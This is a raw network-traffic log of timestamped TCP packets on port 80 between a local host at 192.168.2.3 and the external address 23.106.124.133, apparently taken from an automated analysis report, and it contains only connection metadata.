Feb 16, 2023 11:49:20.606756926 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.606805086 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.606852055 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.606895924 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.606942892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.606987000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607075930 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607080936 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.607125044 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607156992 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607355118 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.607460022 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607507944 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607544899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.607552052 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607572079 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.607600927 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607646942 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607659101 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.607693911 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607739925 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607770920 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.607785940 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607795954 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.607834101 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607877970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607923031 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.607934952 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.607969046 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608012915 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608057022 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608067036 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.608102083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608149052 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608195066 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608210087 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.608253002 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.608258963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608321905 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608387947 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608448029 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608455896 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.608509064 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608573914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608634949 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.608640909 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608710051 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608778954 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608783960 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.608834028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608881950 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608928919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.608939886 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.608975887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.609025002 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.609074116 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.609078884 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.617633104 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.621140957 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.769831896 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.769882917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.769928932 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.769952059 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.769973993 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.769998074 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770032883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770062923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770073891 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770073891 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770088911 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770114899 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770133972 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770133972 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770158052 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770170927 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770184994 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770210028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770214081 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770236015 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770236969 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770262957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770277977 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770277977 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770287037 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770298004 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770314932 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770349979 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770356894 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770375967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770382881 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770401001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770407915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770427942 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770451069 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770472050 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770473957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770503044 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770503998 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770523071 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770533085 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770544052 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770559072 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770582914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770584106 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770607948 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770627022 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770633936 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770649910 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770663977 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770675898 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770705938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770731926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770750046 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770756960 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770780087 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770783901 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770812988 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770816088 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770840883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770852089 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770868063 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770875931 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770893097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770910978 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770925045 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770947933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770972967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.770976067 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.770998955 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771002054 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771028996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771050930 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771063089 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771063089 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771075010 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771089077 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771101952 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771128893 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771155119 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771179914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771203041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771226883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771250963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771272898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771296024 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771308899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771308899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771308899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771308899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771308899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771308899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771308899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771308899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771320105 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771347046 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771372080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771390915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771393061 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771414042 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771416903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771436930 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771442890 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771466970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771490097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771512985 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771514893 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771537066 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771543980 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771559954 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771583080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771614075 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771626949 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771639109 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771662951 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771684885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771703005 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771709919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771723032 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771734953 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771758080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771774054 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771781921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771786928 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771806002 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771817923 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771830082 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771842003 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771853924 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771872044 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771882057 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771907091 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771919966 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771930933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771950960 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771955967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.771974087 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.771995068 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772021055 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772032022 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772043943 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772057056 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772068977 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772083044 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772092104 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772104979 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772115946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772139072 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772156000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772190094 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772197008 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772214890 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772217035 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772238016 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772242069 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772258997 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772264957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772274971 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772290945 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772315979 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772339106 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772355080 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772361994 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772387028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772399902 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772409916 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772433996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772449970 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772458076 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772464037 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772485971 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772495985 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772515059 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772540092 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772552013 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772564888 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772581100 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772588015 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772607088 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772613049 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772624016 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772636890 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772661924 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772671938 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772691011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772697926 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772716999 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772727966 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772741079 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772763968 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772778034 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772785902 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772805929 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772813082 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772828102 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772840977 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772845984 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772867918 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772891045 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772907019 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772913933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772926092 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772937059 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772952080 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772964954 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.772969007 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.772993088 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773017883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773041010 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773055077 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773065090 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773087025 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773088932 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773112059 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773117065 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773147106 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773154020 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773169994 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773185968 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773195982 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773211002 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773220062 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773230076 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773243904 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773263931 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773269892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773283005 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773298025 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773304939 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773325920 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773349047 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773370981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773370981 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773395061 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773401976 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773418903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773439884 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773441076 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773444891 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773458958 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773473978 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773498058 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773515940 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773521900 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773547888 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773555994 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773571968 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773576021 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773590088 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773597002 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773607016 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773622036 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773643970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773658037 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773665905 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773679018 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773689985 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773704052 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773713112 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773720980 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773739100 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773761034 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773782969 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773796082 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773808002 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773821115 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773830891 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773845911 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773854017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773863077 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773878098 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773900986 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773916006 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773922920 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773940086 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773947001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773966074 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773972034 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.773984909 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.773993969 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774018049 CET	80	49700	23.106.124.133	192.168.2.3
